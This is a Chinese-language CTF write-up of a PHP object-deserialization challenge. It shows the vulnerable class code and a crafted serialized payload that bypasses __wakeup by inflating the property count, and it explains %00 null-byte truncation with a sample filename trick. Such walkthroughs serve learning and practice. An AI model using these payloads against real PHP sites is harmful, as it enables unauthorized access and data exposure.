打开题目
题目提示我们备份网站
我们输入/www.zip
下载zip文件,打开发现
打开index.php
<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>
文件包含class.php,get传参一个select函数,反序列化select参数的值并赋值给res
然后我们访问class.php
<?php
include 'flag.php'; //包含flag.php文件
error_reporting(0);
class Name{
private $username = 'nonono'; //private
函数仅在其类内部调用时才有效,Private
函数只能在定义它的类中访问,不能在类外访问。
private $password = 'yesyes';public function __construct($username,$password){ //construct构造函数
$this->username = $username;
$this->password = $password;
}function __wakeup(){
$this->username = 'guest'; //用wakeup函数让username变量等于guest
}function __destruct(){
if ($this->password != 100) { //如果密码不等于100
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') { //如果用户名和admin强比较相等
global $flag;
echo $flag; //输出flag
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
本题的关键,就是username的赋值
因为 __wakeup 会对userneme进行一次赋值,所以我们要想办法绕过该函数, 才能让username与admin强比较相等
构造payload我们还是用phpstudy
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
打开本地网站即可得到
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O这里的4指的是name的长度,name后面的2指的是有2个成员,Nameusername,Namepassword
我们这里只需要把name后面的2修改为比2大的数字就好了
修改后的payload
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
接下来我们把select传参就好
得到flag
知识点:
- PHP中private私有函数
Private
函数只能在定义它的类中访问,不能在类外访问。当 private
函数仅在其类内部调用时才有效
- php中construct构造函数
创建构造函数的语法格式如下:
public function __construct(参数列表){
... ...
}
- php中function函数
将实现某一功能的代码块封装到一个结构中,实现代码复用
函数定义
function 函数名(参数){// 函数体return 返回值
}
函数调用的特点:
只要系统在内存中能够找到对应的函数,就可以执行(函数的调用可以在函数定义之前)
实例:
<?php
function writeName()
{
echo "Kai Jim Refsnes";
}
echo "My name is ";
writeName();
?>
运行结果
My name is Kai Jim Refsnes
文章见:PHP 函数 | 菜鸟教程
- php中wakeup函数
当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。
是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。
当 PHP 反序列化一个对象时,它首先读取对象的类名,并创建一个新的对象。然后,PHP 会读取对象的属性个数,并将每个属性的名称和值读入对象中。如果属性个数比实际属性个数多,则 PHP 会忽略这些多余的属性,直接将对象反序列化到一个不完整的状态。这将绕过 __wakeup() 函数的执行,因为 PHP 无法通过未知的属性来检查对象的完整性。
文章见:CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧_ctf php 反序列化漏洞_Eason_LYC的博客-CSDN博客
- php中%00截断
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
实例:
https://mp.csdn.net/upfiles/?filename=test.txt 此时输出的是test.txt
加上%00
https://mp.csdn.net/upfiles/?filename=test.php%00.txt 此时输出的是test.php
文章见:转载-一篇讲解比较详细的00截断原理 - 简书